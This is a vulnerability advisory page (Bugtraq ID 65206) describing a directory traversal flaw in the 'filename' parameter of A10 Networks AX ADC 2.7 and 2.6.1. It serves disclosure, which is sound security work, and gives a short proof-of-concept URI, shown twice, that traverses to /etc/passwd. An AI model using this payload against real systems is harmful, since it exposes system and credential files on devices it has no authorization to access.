A10 Networks AX ADC 'filename' parameter Directory Traversal Vulnerability
BID:65206
Info
A10 Networks AX ADC 'filename' parameter Directory Traversal Vulnerability
| Bugtraq ID: | 65206 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 28 2014 12:00AM |
| Updated: | Jan 28 2014 12:00AM |
| Credit: | xistence |
| Vulnerable: |
A10 Networks AX ADC 2.7 build 217 A10 Networks AX ADC 2.6.1 GR1-P5 |
| Not Vulnerable: | |
Exploit / POC
A10 Networks AX ADC 'filename' parameter Directory Traversal Vulnerability
The following example URI is available:
https://www.example.com/xml/downloads/?filename=/a10data/tmp/../../etc/passwd
The following example URI is available:
https://www.example.com/xml/downloads/?filename=/a10data/tmp/../../etc/passwd
References
A10 Networks AX ADC 'filename' parameter Directory Traversal Vulnerability
References:
References:
- AX ADC Product Page (A10 Networks)